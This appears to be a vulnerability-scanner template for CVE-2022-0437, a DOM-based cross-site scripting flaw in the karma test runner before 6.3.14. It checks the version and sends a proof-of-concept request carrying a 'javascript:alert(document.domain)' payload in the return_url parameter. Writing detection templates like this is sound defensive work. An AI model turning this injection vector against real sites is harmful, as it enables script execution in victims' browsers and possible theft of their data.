id: CVE-2022-0437

info:
  name: karma-runner DOM-based Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: NPM karma prior to 6.3.14. contains a DOM-based cross-site Scripting vulnerability.
  remediation: |
    Upgrade to the latest version of karma-runner that includes proper input sanitization to mitigate this vulnerability.
  reference:
    - https://huntr.dev/bounties/64b67ea1-5487-4382-a5f6-e8a95f798885
    - https://github.com/karma-runner/karma/commit/839578c45a8ac42fbc1d72105f97eab77dd3eb8a
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0437
    - https://github.com/karma-runner/karma
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0437
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.40833
    cpe: cpe:2.3:a:karma_project:karma:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 2
    vendor: karma_project
    product: karma
    framework: node.js
  tags: oss,huntr,cve,cve2022,karma,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/karma.js'
      - '{{BaseURL}}/?return_url=javascript:alert(document.domain)'

    req-condition: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - compare_versions(version, '< 6.3.14')

      - type: word
        part: body_2
        words:
          - 'Karma'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - "(?m)VERSION: '([0-9.]+)'"
        internal: true